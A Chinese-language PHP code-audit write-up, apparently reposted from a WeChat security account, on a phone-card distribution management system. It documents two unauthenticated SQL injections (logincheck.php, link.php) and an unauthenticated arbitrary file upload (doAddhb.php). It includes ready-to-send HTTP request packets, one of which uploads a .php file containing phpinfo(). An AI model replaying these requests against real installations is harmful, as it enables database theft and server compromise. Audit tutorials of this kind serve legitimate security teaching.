PHP代审之某号卡推广分销管理系统

admin 2025年4月23日01:39:19评论0 views字数 2761阅读9分12秒阅读模式
PHP代审之某号卡推广分销管理系统
PHP代审之某号卡推广分销管理系统

点击上方蓝字·关注我们

免责声明
PHP代审之某号卡推广分销管理系统

由于传播、利用本公众号菜狗安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号菜狗安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,会立即删除并致歉。

前言
PHP代审之某号卡推广分销管理系统

最近因为二期公开课原因开始复习PHP代码审计,搞了几套源码审审,水水文章

文章目录
PHP代审之某号卡推广分销管理系统
项目介绍环境搭建代码审计    系统架构分析    前台SQL注入        第一处        第二处    前台任意文件上传最后

项目介绍

一套完善,多功能,的号卡分销系统,多接口,包括运营商接口,无限三级代理,最简单易用的PHP~ 目前市面上最优雅的号卡系统!没有之一

环境搭建

项目下载地址在文章末尾

我本地采用小皮面板搭建,对应配置

PHP代审之某号卡推广分销管理系统

配置后在代码中修改数据库信息

配置文件:upload/untils/conn.php

PHP代审之某号卡推广分销管理系统

创建对应数据库,导入sql文件,编码:UTF8,UTF8_bin

PHP代审之某号卡推广分销管理系统

配置完成后直接访问

PHP代审之某号卡推广分销管理系统

代码审计

源码架构分析

PHP代审之某号卡推广分销管理系统

非框架的源码,测了个登入数据包,是直链访问,那么就不需要考虑筛文件了,除了部分方法不能直接调用。

前台SQL注入

按照公开课讲的逻辑,先判断数据库查询方法

PHP代审之某号卡推广分销管理系统

发现使用的是mysqli_query()做数据查询,那么这个方法是不存在预编译的,也就是说只要执行sql语句中有参数可控没有数据类型转换的话就存在注入

第一处

对应文件:/make/controller/logincheck.php

PHP代审之某号卡推广分销管理系统

在第17行进行sql查询,16行定义了sql语句,直接拼接$name,$name在第5行通过POST获取,过程中没有数据过滤,和数据处理,存在注入

测试数据包

POST /make/controller/logincheck.php HTTP/1.1Host: shoujihao:991Cache-Control: max-age=0Accept-Language: zh-CN,zh;q=0.9Referer: http://shoujihao:991/make/login.phpAccept-Encoding: gzip, deflateUpgrade-Insecure-Requests: 1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Origin: http://shoujihao:991Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36Content-Length: 47username=admin*&password=qymao.cnHF56&token=make

sqlmap结果

PHP代审之某号卡推广分销管理系统

第二处

对应文件:link.php

PHP代审之某号卡推广分销管理系统

很明显的GET请求接收id,拼接到SQL语句中带入执行,写的跟漏洞demo似的

sqlmap结果

PHP代审之某号卡推广分销管理系统

前台文件上传

对应文件:upload/make/controller/doAddhb.php

路由看着是后台的,但是实际上没有鉴权

PHP代审之某号卡推广分销管理系统

在25行通过move_uploaded_file()上传文件,关注$tmpname,$tmpname在第9行直接获取,过程中没有看到文件类型检测,那么这里存在任意文件上传,看下上传目录的构造,$targetFile是$targetDir .+ newFilename组成,目录固定,文件名采用了时间戳,保留了原本上传文件的后缀,存在任意文件上传

测试数据包

POST /make/controller/doAddhb.php HTTP/1.1Host: shoujihao:991Origin: http://127.0.0.1Cache-Control: max-age=0sec-ch-ua: "Google Chrome";v="135""Not-A.Brand";v="8""Chromium";v="135"Accept-Language: zh-CN,zh;q=0.9Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTcb0NCixfSRYM5OAReferer: http://127.0.0.1/test/upload.htmlsec-ch-ua-mobile: ?0Sec-Fetch-Mode: navigateAccept-Encoding: gzip, deflate, br, zstdsec-ch-ua-platform: "Windows"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Dest: documentUpgrade-Insecure-Requests: 1Sec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36Sec-Fetch-User: ?1Content-Length: 1121------WebKitFormBoundaryTcb0NCixfSRYM5OAContent-Disposition: form-data; name="poster_url"; filename="ELOG.php"Content-Type: image/png<?php phpinfo();?>------WebKitFormBoundaryTcb0NCixfSRYM5OA--
PHP代审之某号卡推广分销管理系统

提示上传成功,但是这里没有回显文件名,实战情况下需要通过时间戳爆破文件名

PHP代审之某号卡推广分销管理系统

最后

源码获取微信公众号回复“shoujihao”获取下载地址

二期公开课《PHP代码审计速成》持续更新中...

PHP代审之某号卡推广分销管理系统

直播通知和课件都会在交流群中发布,有需要的师傅可以加我VX,备注:交流群,我拉你进群

PHP代审之某号卡推广分销管理系统
性感群主不定期在线水群解答问题

原文始发于微信公众号(菜狗安全):PHP代审之某号卡推广分销管理系统

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月23日01:39:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP代审之某号卡推广分销管理系统http://cn-sec.com/archives/3968362.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息